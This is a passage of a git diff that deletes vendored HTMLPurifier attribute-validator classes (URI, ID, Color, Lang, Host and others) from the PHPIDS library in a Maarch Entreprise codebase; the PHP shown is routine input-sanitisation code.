-{ - - public function __construct() { - parent::__construct(true); // always embedded - } - - public function validate($uri_string, $config, $context) { - // parse the URI out of the string and then pass it onto - // the parent object - - $uri_string = $this->parseCDATA($uri_string); - if (strpos($uri_string, 'url(') !== 0) return false; - $uri_string = substr($uri_string, 4); - $new_length = strlen($uri_string) - 1; - if ($uri_string[$new_length] != ')') return false; - $uri = trim(substr($uri_string, 0, $new_length)); - - if (!empty($uri) && ($uri[0] == "'" || $uri[0] == '"')) { - $quote = $uri[0]; - $new_length = strlen($uri) - 1; - if ($uri[$new_length] !== $quote) return false; - $uri = substr($uri, 1, $new_length - 1); - } - - $uri = $this->expandCSSEscape($uri); - - $result = parent::validate($uri, $config, $context); - - if ($result === false) return false; - - // extra sanity check; should have been done by URI - $result = str_replace(array('"', "\\", "\n", "\x0c", "\r"), "", $result); - - // suspicious characters are ()'; we're going to percent encode - // them for safety. - $result = str_replace(array('(', ')', "'"), array('%28', '%29', '%27'), $result); - - // there's an extra bug where ampersands lose their escaping on - // an innerHTML cycle, so a very unlucky query parameter could - // then change the meaning of the URL. Unfortunately, there's - // not much we can do about that... - - return "url(\"$result\")"; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Enum.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Enum.php deleted file mode 100755 index 88c6909c9ba741636dac32277d3ce232e6059986..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Enum.php +++ /dev/null @@ -1,65 +0,0 @@ -<?php - -// Enum = Enumerated -/** - * Validates a keyword against a list of valid values. - * @warning The case-insensitive compare of this function uses PHP's - * built-in strtolower and ctype_lower functions, which may - * cause problems with international comparisons - */ -class HTMLPurifier_AttrDef_Enum extends HTMLPurifier_AttrDef -{ - - /** - * Lookup table of valid values. - * @todo Make protected - */ - public $valid_values = array(); - - /** - * Bool indicating whether or not enumeration is case sensitive. - * @note In general this is always case insensitive. - */ - protected $case_sensitive = false; // values according to W3C spec - - /** - * @param $valid_values List of valid values - * @param $case_sensitive Bool indicating whether or not case sensitive - */ - public function __construct( - $valid_values = array(), $case_sensitive = false - ) { - $this->valid_values = array_flip($valid_values); - $this->case_sensitive = $case_sensitive; - } - - public function validate($string, $config, $context) { - $string = trim($string); - if (!$this->case_sensitive) { - // we may want to do full case-insensitive libraries - $string = ctype_lower($string) ? $string : strtolower($string); - } - $result = isset($this->valid_values[$string]); - - return $result ? $string : false; - } - - /** - * @param $string In form of comma-delimited list of case-insensitive - * valid values. Example: "foo,bar,baz". Prepend "s:" to make - * case sensitive - */ - public function make($string) { - if (strlen($string) > 2 && $string[0] == 's' && $string[1] == ':') { - $string = substr($string, 2); - $sensitive = true; - } else { - $sensitive = false; - } - $values = explode(',', $string); - return new HTMLPurifier_AttrDef_Enum($values, $sensitive); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Bool.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Bool.php deleted file mode 100755 index 93a43d0e4320ac8cd73036c71bc968f56b5c9ab1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Bool.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -/** - * Validates a boolean attribute - */ -class HTMLPurifier_AttrDef_HTML_Bool extends HTMLPurifier_AttrDef -{ - - protected $name; - public $minimized = true; - - public function __construct($name = false) {$this->name = $name;} - - public function validate($string, $config, $context) { - if (empty($string)) return false; - return $this->name; - } - - /** - * @param $string Name of attribute - */ - public function make($string) { - return new HTMLPurifier_AttrDef_HTML_Bool($string); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Class.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Class.php deleted file mode 100755 index ef0e21cbd99c34db6937c0e3232cdc35de55223c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Class.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -/** - * Implements special behavior for class attribute (normally NMTOKENS) - */ -class HTMLPurifier_AttrDef_HTML_Class extends HTMLPurifier_AttrDef_HTML_Nmtokens -{ - protected function split($string, $config, $context) { - // really, this twiddle should be lazy loaded - $name = $config->getDefinition('HTML')->doctype->name; - if ($name == "XHTML 1.1" || $name == "XHTML 2.0") { - return parent::split($string, $config, $context); - } else { - return preg_split('/\s+/', $string); - } - } - protected function filter($tokens, $config, $context) { - $allowed = $config->get('Attr.AllowedClasses'); - $forbidden = $config->get('Attr.ForbiddenClasses'); - $ret = array(); - foreach ($tokens as $token) { - if ( - ($allowed === null || isset($allowed[$token])) && - !isset($forbidden[$token]) && - // We need this O(n) check because of PHP's array - // implementation that casts -0 to 0. - !in_array($token, $ret, true) - ) { - $ret[] = $token; - } - } - return $ret; - } -} diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Color.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Color.php deleted file mode 100755 index 0575d8c3da4b79f5ea2be0e45a6599457655f0cc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Color.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php - -/** - * Validates a color according to the HTML spec. - */ -class HTMLPurifier_AttrDef_HTML_Color extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - static $colors = null; - if ($colors === null) $colors = $config->get('Core.ColorKeywords'); - - $string = trim($string); - - if (empty($string)) return false; - if (isset($colors[$string])) return $colors[$string]; - if ($string[0] === '#') $hex = substr($string, 1); - else $hex = $string; - - $length = strlen($hex); - if ($length !== 3 && $length !== 6) return false; - if (!ctype_xdigit($hex)) return false; - if ($length === 3) $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2]; - - return "#$hex"; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/FrameTarget.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/FrameTarget.php deleted file mode 100755 index 8e4952e5bc4f69f33096a9d26d1c638772b1d0a3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/FrameTarget.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -/** - * Special-case enum attribute definition that lazy loads allowed frame targets - */ -class HTMLPurifier_AttrDef_HTML_FrameTarget extends HTMLPurifier_AttrDef_Enum -{ - - public $valid_values = false; // uninitialized value - protected $case_sensitive = false; - - public function __construct() {} - - public function validate($string, $config, $context) { - if ($this->valid_values === false) $this->valid_values = $config->get('Attr.AllowedFrameTargets'); - return parent::validate($string, $config, $context); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/ID.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/ID.php deleted file mode 100755 index 373529f7ad8c2edc25c83eb2832c56ae1ca1fb1f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/ID.php +++ /dev/null @@ -1,70 +0,0 @@ -<?php - -/** - * Validates the HTML attribute ID. - * @warning Even though this is the id processor, it - * will ignore the directive Attr:IDBlacklist, since it will only - * go according to the ID accumulator. Since the accumulator is - * automatically generated, it will have already absorbed the - * blacklist. If you're hacking around, make sure you use load()! - */ - -class HTMLPurifier_AttrDef_HTML_ID extends HTMLPurifier_AttrDef -{ - - // ref functionality disabled, since we also have to verify - // whether or not the ID it refers to exists - - public function validate($id, $config, $context) { - - if (!$config->get('Attr.EnableID')) return false; - - $id = trim($id); // trim it first - - if ($id === '') return false; - - $prefix = $config->get('Attr.IDPrefix'); - if ($prefix !== '') { - $prefix .= $config->get('Attr.IDPrefixLocal'); - // prevent re-appending the prefix - if (strpos($id, $prefix) !== 0) $id = $prefix . $id; - } elseif ($config->get('Attr.IDPrefixLocal') !== '') { - trigger_error('%Attr.IDPrefixLocal cannot be used unless '. - '%Attr.IDPrefix is set', E_USER_WARNING); - } - - //if (!$this->ref) { - $id_accumulator =& $context->get('IDAccumulator'); - if (isset($id_accumulator->ids[$id])) return false; - //} - - // we purposely avoid using regex, hopefully this is faster - - if (ctype_alpha($id)) { - $result = true; - } else { - if (!ctype_alpha(@$id[0])) return false; - $trim = trim( // primitive style of regexps, I suppose - $id, - 'A..Za..z0..9:-._' - ); - $result = ($trim === ''); - } - - $regexp = $config->get('Attr.IDBlacklistRegexp'); - if ($regexp && preg_match($regexp, $id)) { - return false; - } - - if (/*!$this->ref && */$result) $id_accumulator->add($id); - - // if no change was made to the ID, return the result - // else, return the new id if stripping whitespace made it - // valid, or return false. - return $result ? $id : false; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Length.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Length.php deleted file mode 100755 index 8521b2c56ddfbb2caaa417f28075600581f9a5c8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Length.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -/** - * Validates the HTML type length (not to be confused with CSS's length). - * - * This accepts integer pixels or percentages as lengths for certain - * HTML attributes. - */ - -class HTMLPurifier_AttrDef_HTML_Length extends HTMLPurifier_AttrDef_HTML_Pixels -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - if ($string === '') return false; - - $parent_result = parent::validate($string, $config, $context); - if ($parent_result !== false) return $parent_result; - - $length = strlen($string); - $last_char = $string[$length - 1]; - - if ($last_char !== '%') return false; - - $points = substr($string, 0, $length - 1); - - if (!is_numeric($points)) return false; - - $points = (int) $points; - - if ($points < 0) return '0%'; - if ($points > 100) return '100%'; - - return ((string) $points) . '%'; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/LinkTypes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/LinkTypes.php deleted file mode 100755 index dccdae189c0b05a6191da79ebf5fc17e04ee4243..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/LinkTypes.php +++ /dev/null @@ -1,53 +0,0 @@ -<?php - -/** - * Validates a rel/rev link attribute against a directive of allowed values - * @note We cannot use Enum because link types allow multiple - * values. - * @note Assumes link types are ASCII text - */ -class HTMLPurifier_AttrDef_HTML_LinkTypes extends HTMLPurifier_AttrDef -{ - - /** Name config attribute to pull. */ - protected $name; - - public function __construct($name) { - $configLookup = array( - 'rel' => 'AllowedRel', - 'rev' => 'AllowedRev' - ); - if (!isset($configLookup[$name])) { - trigger_error('Unrecognized attribute name for link '. - 'relationship.', E_USER_ERROR); - return; - } - $this->name = $configLookup[$name]; - } - - public function validate($string, $config, $context) { - - $allowed = $config->get('Attr.' . $this->name); - if (empty($allowed)) return false; - - $string = $this->parseCDATA($string); - $parts = explode(' ', $string); - - // lookup to prevent duplicates - $ret_lookup = array(); - foreach ($parts as $part) { - $part = strtolower(trim($part)); - if (!isset($allowed[$part])) continue; - $ret_lookup[$part] = true; - } - - if (empty($ret_lookup)) return false; - $string = implode(' ', array_keys($ret_lookup)); - - return $string; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/MultiLength.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/MultiLength.php deleted file mode 100755 index 4700c68ddde0f71298c61a1488c0dfda3c067d12..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/MultiLength.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -/** - * Validates a MultiLength as defined by the HTML spec. - * - * A multilength is either a integer (pixel count), a percentage, or - * a relative number. - */ -class HTMLPurifier_AttrDef_HTML_MultiLength extends HTMLPurifier_AttrDef_HTML_Length -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - if ($string === '') return false; - - $parent_result = parent::validate($string, $config, $context); - if ($parent_result !== false) return $parent_result; - - $length = strlen($string); - $last_char = $string[$length - 1]; - - if ($last_char !== '*') return false; - - $int = substr($string, 0, $length - 1); - - if ($int == '') return '*'; - if (!is_numeric($int)) return false; - - $int = (int) $int; - - if ($int < 0) return false; - if ($int == 0) return '0'; - if ($int == 1) return '*'; - return ((string) $int) . '*'; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Nmtokens.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Nmtokens.php deleted file mode 100755 index 250267a0e7f464b9749866eb55324a5d0ecccc41..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Nmtokens.php +++ /dev/null @@ -1,52 +0,0 @@ -<?php - -/** - * Validates contents based on NMTOKENS attribute type. - */ -class HTMLPurifier_AttrDef_HTML_Nmtokens extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - - // early abort: '' and '0' (strings that convert to false) are invalid - if (!$string) return false; - - $tokens = $this->split($string, $config, $context); - $tokens = $this->filter($tokens, $config, $context); - if (empty($tokens)) return false; - return implode(' ', $tokens); - - } - - /** - * Splits a space separated list of tokens into its constituent parts. - */ - protected function split($string, $config, $context) { - // OPTIMIZABLE! - // do the preg_match, capture all subpatterns for reformulation - - // we don't support U+00A1 and up codepoints or - // escaping because I don't know how to do that with regexps - // and plus it would complicate optimization efforts (you never - // see that anyway). - $pattern = '/(?:(?<=\s)|\A)'. // look behind for space or string start - '((?:--|-?[A-Za-z_])[A-Za-z_\-0-9]*)'. - '(?:(?=\s)|\z)/'; // look ahead for space or string end - preg_match_all($pattern, $string, $matches); - return $matches[1]; - } - - /** - * Template method for removing certain tokens based on arbitrary criteria. - * @note If we wanted to be really functional, we'd do an array_filter - * with a callback. But... we're not. - */ - protected function filter($tokens, $config, $context) { - return $tokens; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Pixels.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Pixels.php deleted file mode 100755 index d765769eca4a9d08df28ab97a77f8c95f2626796..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Pixels.php +++ /dev/null @@ -1,48 +0,0 @@ -<?php - -/** - * Validates an integer representation of pixels according to the HTML spec. - */ -class HTMLPurifier_AttrDef_HTML_Pixels extends HTMLPurifier_AttrDef -{ - - protected $max; - - public function __construct($max = null) { - $this->max = $max; - } - - public function validate($string, $config, $context) { - - $string = trim($string); - if ($string === '0') return $string; - if ($string === '') return false; - $length = strlen($string); - if (substr($string, $length - 2) == 'px') { - $string = substr($string, 0, $length - 2); - } - if (!is_numeric($string)) return false; - $int = (int) $string; - - if ($int < 0) return '0'; - - // upper-bound value, extremely high values can - // crash operating systems, see <http://ha.ckers.org/imagecrash.html> - // WARNING, above link WILL crash you if you're using Windows - - if ($this->max !== null && $int > $this->max) return (string) $this->max; - - return (string) $int; - - } - - public function make($string) { - if ($string === '') $max = null; - else $max = (int) $string; - $class = get_class($this); - return new $class($max); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Integer.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Integer.php deleted file mode 100755 index 6911478356b82cf5336ffc5b4ef86e96c9900d3e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Integer.php +++ /dev/null @@ -1,73 +0,0 @@ -<?php - -/** - * Validates an integer. - * @note While this class was modeled off the CSS definition, no currently - * allowed CSS uses this type. The properties that do are: widows, - * orphans, z-index, counter-increment, counter-reset. Some of the - * HTML attributes, however, find use for a non-negative version of this. - */ -class HTMLPurifier_AttrDef_Integer extends HTMLPurifier_AttrDef -{ - - /** - * Bool indicating whether or not negative values are allowed - */ - protected $negative = true; - - /** - * Bool indicating whether or not zero is allowed - */ - protected $zero = true; - - /** - * Bool indicating whether or not positive values are allowed - */ - protected $positive = true; - - /** - * @param $negative Bool indicating whether or not negative values are allowed - * @param $zero Bool indicating whether or not zero is allowed - * @param $positive Bool indicating whether or not positive values are allowed - */ - public function __construct( - $negative = true, $zero = true, $positive = true - ) { - $this->negative = $negative; - $this->zero = $zero; - $this->positive = $positive; - } - - public function validate($integer, $config, $context) { - - $integer = $this->parseCDATA($integer); - if ($integer === '') return false; - - // we could possibly simply typecast it to integer, but there are - // certain fringe cases that must not return an integer. - - // clip leading sign - if ( $this->negative && $integer[0] === '-' ) { - $digits = substr($integer, 1); - if ($digits === '0') $integer = '0'; // rm minus sign for zero - } elseif( $this->positive && $integer[0] === '+' ) { - $digits = $integer = substr($integer, 1); // rm unnecessary plus - } else { - $digits = $integer; - } - - // test if it's numeric - if (!ctype_digit($digits)) return false; - - // perform scope tests - if (!$this->zero && $integer == 0) return false; - if (!$this->positive && $integer > 0) return false; - if (!$this->negative && $integer < 0) return false; - - return $integer; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Lang.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Lang.php deleted file mode 100755 index 844d4679e65d9d0e0477c33a8fd548961f0b4081..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Lang.php +++ /dev/null @@ -1,73 +0,0 @@ -<?php - -/** - * Validates the HTML attribute lang, effectively a language code. - * @note Built according to RFC 3066, which obsoleted RFC 1766 - */ -class HTMLPurifier_AttrDef_Lang extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - $string = trim($string); - if (!$string) return false; - - $subtags = explode('-', $string); - $num_subtags = count($subtags); - - if ($num_subtags == 0) return false; // sanity check - - // process primary subtag : $subtags[0] - $length = strlen($subtags[0]); - switch ($length) { - case 0: - return false; - case 1: - if (! ($subtags[0] == 'x' || $subtags[0] == 'i') ) { - return false; - } - break; - case 2: - case 3: - if (! ctype_alpha($subtags[0]) ) { - return false; - } elseif (! ctype_lower($subtags[0]) ) { - $subtags[0] = strtolower($subtags[0]); - } - break; - default: - return false; - } - - $new_string = $subtags[0]; - if ($num_subtags == 1) return $new_string; - - // process second subtag : $subtags[1] - $length = strlen($subtags[1]); - if ($length == 0 || ($length == 1 && $subtags[1] != 'x') || $length > 8 || !ctype_alnum($subtags[1])) { - return $new_string; - } - if (!ctype_lower($subtags[1])) $subtags[1] = strtolower($subtags[1]); - - $new_string .= '-' . $subtags[1]; - if ($num_subtags == 2) return $new_string; - - // process all other subtags, index 2 and up - for ($i = 2; $i < $num_subtags; $i++) { - $length = strlen($subtags[$i]); - if ($length == 0 || $length > 8 || !ctype_alnum($subtags[$i])) { - return $new_string; - } - if (!ctype_lower($subtags[$i])) { - $subtags[$i] = strtolower($subtags[$i]); - } - $new_string .= '-' . $subtags[$i]; - } - - return $new_string; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Switch.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Switch.php deleted file mode 100755 index ed451195ca02794018b0d0c2e9a567fbb1fad016..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Switch.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -/** - * Decorator that, depending on a token, switches between two definitions. - */ -class HTMLPurifier_AttrDef_Switch -{ - - protected $tag; - protected $withTag, $withoutTag; - - /** - * @param string $tag Tag name to switch upon - * @param HTMLPurifier_AttrDef $with_tag Call if token matches tag - * @param HTMLPurifier_AttrDef $without_tag Call if token doesn't match, or there is no token - */ - public function __construct($tag, $with_tag, $without_tag) { - $this->tag = $tag; - $this->withTag = $with_tag; - $this->withoutTag = $without_tag; - } - - public function validate($string, $config, $context) { - $token = $context->get('CurrentToken', true); - if (!$token || $token->name !== $this->tag) { - return $this->withoutTag->validate($string, $config, $context); - } else { - return $this->withTag->validate($string, $config, $context); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Text.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Text.php deleted file mode 100755 index 4eb777260f303b57242ff9e31975721856f7b264..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Text.php +++ /dev/null @@ -1,15 +0,0 @@ -<?php - -/** - * Validates arbitrary text according to the HTML spec. - */ -class HTMLPurifier_AttrDef_Text extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - return $this->parseCDATA($string); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI.php deleted file mode 100755 index 0f861c0df6357c6284dfc9a747692974b6e0f37d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI.php +++ /dev/null @@ -1,77 +0,0 @@ -<?php - -/** - * Validates a URI as defined by RFC 3986. - * @note Scheme-specific mechanics deferred to HTMLPurifier_URIScheme - */ -class HTMLPurifier_AttrDef_URI extends HTMLPurifier_AttrDef -{ - - protected $parser; - protected $embedsResource; - - /** - * @param $embeds_resource_resource Does the URI here result in an extra HTTP request? - */ - public function __construct($embeds_resource = false) { - $this->parser = new HTMLPurifier_URIParser(); - $this->embedsResource = (bool) $embeds_resource; - } - - public function make($string) { - $embeds = (bool) $string; - return new HTMLPurifier_AttrDef_URI($embeds); - } - - public function validate($uri, $config, $context) { - - if ($config->get('URI.Disable')) return false; - - $uri = $this->parseCDATA($uri); - - // parse the URI - $uri = $this->parser->parse($uri); - if ($uri === false) return false; - - // add embedded flag to context for validators - $context->register('EmbeddedURI', $this->embedsResource); - - $ok = false; - do { - - // generic validation - $result = $uri->validate($config, $context); - if (!$result) break; - - // chained filtering - $uri_def = $config->getDefinition('URI'); - $result = $uri_def->filter($uri, $config, $context); - if (!$result) break; - - // scheme-specific validation - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) break; - if ($this->embedsResource && !$scheme_obj->browsable) break; - $result = $scheme_obj->validate($uri, $config, $context); - if (!$result) break; - - // Post chained filtering - $result = $uri_def->postFilter($uri, $config, $context); - if (!$result) break; - - // survived gauntlet - $ok = true; - - } while (false); - - $context->destroy('EmbeddedURI'); - if (!$ok) return false; - - // back to string - return $uri->toString(); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email.php deleted file mode 100755 index ff5cd318e008afe709ccdda604cb5d4dcaa52658..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email.php +++ /dev/null @@ -1,17 +0,0 @@ -<?php - -abstract class HTMLPurifier_AttrDef_URI_Email extends HTMLPurifier_AttrDef -{ - - /** - * Unpacks a mailbox into its display-name and address - */ - function unpack($string) { - // needs to be implemented - } - -} - -// sub-implementations - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php deleted file mode 100755 index 6dc98c6ff5fab1ac9b1318e09b9e8ec27387fb82..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -/** - * Primitive email validation class based on the regexp found at - * http://www.regular-expressions.info/email.html - */ -class HTMLPurifier_AttrDef_URI_Email_SimpleCheck extends HTMLPurifier_AttrDef_URI_Email -{ - - public function validate($string, $config, $context) { - // no support for named mailboxes i.e. "Bob <bob@example.com>" - // that needs more percent encoding to be done - if ($string == '') return false; - $string = trim($string); - $result = preg_match('/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $string); - return $result ? $string : false; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Host.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Host.php deleted file mode 100755 index 4b4ad454b6439bb4f350a97c2d8f2a8aed558374..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Host.php +++ /dev/null @@ -1,68 +0,0 @@ -<?php - -/** - * Validates a host according to the IPv4, IPv6 and DNS (future) specifications. - */ -class HTMLPurifier_AttrDef_URI_Host extends HTMLPurifier_AttrDef -{ - - /** - * Instance of HTMLPurifier_AttrDef_URI_IPv4 sub-validator - */ - protected $ipv4; - - /** - * Instance of HTMLPurifier_AttrDef_URI_IPv6 sub-validator - */ - protected $ipv6; - - public function __construct() { - $this->ipv4 = new HTMLPurifier_AttrDef_URI_IPv4(); - $this->ipv6 = new HTMLPurifier_AttrDef_URI_IPv6(); - } - - public function validate($string, $config, $context) { - $length = strlen($string); - // empty hostname is OK; it's usually semantically equivalent: - // the default host as defined by a URI scheme is used: - // - // If the URI scheme defines a default for host, then that - // default applies when the host subcomponent is undefined - // or when the registered name is empty (zero length). - if ($string === '') return ''; - if ($length > 1 && $string[0] === '[' && $string[$length-1] === ']') { - //IPv6 - $ip = substr($string, 1, $length - 2); - $valid = $this->ipv6->validate($ip, $config, $context); - if ($valid === false) return false; - return '['. $valid . ']'; - } - - // need to do checks on unusual encodings too - $ipv4 = $this->ipv4->validate($string, $config, $context); - if ($ipv4 !== false) return $ipv4; - - // A regular domain name. - - // This breaks I18N domain names, but we don't have proper IRI support, - // so force users to insert Punycode. If there's complaining we'll - // try to fix things into an international friendly form. - - // The productions describing this are: - $a = '[a-z]'; // alpha - $an = '[a-z0-9]'; // alphanum - $and = '[a-z0-9-]'; // alphanum | "-" - // domainlabel = alphanum | alphanum *( alphanum | "-" ) alphanum - $domainlabel = "$an($and*$an)?"; - // toplabel = alpha | alpha *( alphanum | "-" ) alphanum - $toplabel = "$a($and*$an)?"; - // hostname = *( domainlabel "." ) toplabel [ "." ] - $match = preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string); - if (!$match) return false; - - return $string; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv4.php 